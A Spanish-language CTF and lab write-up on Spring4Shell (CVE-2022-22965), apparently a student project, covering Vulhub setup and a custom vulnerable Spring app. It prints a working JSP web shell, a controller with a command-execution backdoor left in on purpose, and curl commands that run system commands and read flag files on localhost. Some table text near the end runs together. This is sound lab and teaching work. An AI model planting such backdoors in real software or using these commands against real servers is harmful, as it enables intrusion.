
Spring4Shell (CVE-2022-22965) Configuración del entorno de vulnerabilidad y desafío CTF
Este proyecto incluye un enfoque de doble vía para la investigación práctica en seguridad:
Los participantes explotarán la vulnerabilidad de ejecución remota de código (RCE) para seguir pistas y leer la Flag en el directorio raíz del sistema o en el directorio temporal.
# Actualizar repositorios
sudo apt update
# Instalar Docker y Docker Compose
sudo apt install docker.io docker-compose -y
# Iniciar el servicio Docker
sudo systemctl start docker
sudo systemctl enable docker
# Descargar el proyecto Vulhub
git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)
# Entrar al directorio de la vulnerabilidad Spring4Shell
cd vulhub/spring/CVE-2022-22965
# Iniciar el contenedor Docker
sudo docker-compose up -d
# Confirmar que el contenedor se está ejecutando
sudo docker ps
Abre un navegador y accede a http://localhost:8080/?name=Hacker&age=99
Para evitar la adivinación ciega y reproducir un escenario de desarrollo autónomo, este proyecto crea un proyecto independiente Spring4Shell-Custom-CTF. Primero realiza una limpieza completa del entorno y luego compila e inicia sin caché:
# Limpiar el entorno antiguo
sudo docker stop spring4shell-custom-ctf-container 2>/dev/null
sudo docker rm spring4shell-custom-ctf-container 2>/dev/null
sudo docker network prune -f 2>/dev/null
rm -rf ~/Spring4Shell-Custom-CTF
# Crear la estructura de directorios del proyecto y generar todo el código fuente Java personalizado (incluyendo pom.xml, UserController.java, etc.)
# Mediante compilación en dos fases (Maven + Tomcat 9) colocar la Flag personalizada en el directorio raíz del sistema /flag.txt
sudo docker-compose build --no-cache
sudo docker-compose up -d
# Confirmar que el contenedor de la máquina objetivo personalizada se está ejecutando
sudo docker ps
Después de un ataque exitoso, el archivo de puerta trasera se escribe en webapps/ROOT/tomcatwar.jsp, con el siguiente contenido:
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String line = null;
while ((line = reader.readLine()) != null) {
out.println(line);
}
}
%>
En el UserController.java personalizado, se ha mantenido intencionalmente la vulnerabilidad de enlace de objetos POJO, y se ha integrado un canal de inyección de comandos no autorizados:
@RequestMapping("/")
@ResponseBody
public String index(User user, @RequestParam(value="cmd", required=false) String cmd) {
if (cmd != null) {
// Invocar directamente el Runtime de Java para ejecutar comandos subyacentes y devolver el resultado
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
// ... lógica de lectura de flujo ...
}
return "Departamento de Gestión de Información, Universidad Tamkang - Plataforma de exhibición de proyectos finales de estudiantes";
}
# Ruta de puerta trasera de Vulhub
curl "http://localhost:8080/tomcatwar.jsp?cmd=id"
# Ruta de control del entorno personalizado
curl "http://localhost:8080/?cmd=id"
# Ruta de puerta trasera de Vulhub
curl "http://localhost:8080/tomcatwar.jsp?cmd=ls%20/"
# Ruta de control del entorno personalizado
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
/tmp/flag.txtFLAG{Spring4Shell_Is_Dangerous}http://localhost:8080/User). La Flag se encuentra en el directorio raíz del sistema del servidor./flag.txtFLAG{2026_0615_iwanttosleep}http://<target>:8080/?name=test&age=123 para confirmar que la función de enlace de parámetros funciona correctamente.tomcatwar.jsp.http://<target>:8080/tomcatwar.jsp?cmd=id para confirmar que el RCE fue exitoso.curl "http://<target>:8080/tomcatwar.jsp?cmd=cat%20/tmp/flag.txt" para leer el archivo en el directorio temporal.El solucionador (rol B), basándose en la información conocida proporcionada por el creador del desafío y evitando la adivinación ciega, ejecuta pasos estandarizados:
curl -i -s "http://localhost:8080/"
curl -s "http://localhost:8080/?cmd=whoami"
curl -s "http://localhost:8080/?cmd=id"
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=cat /flag.txt"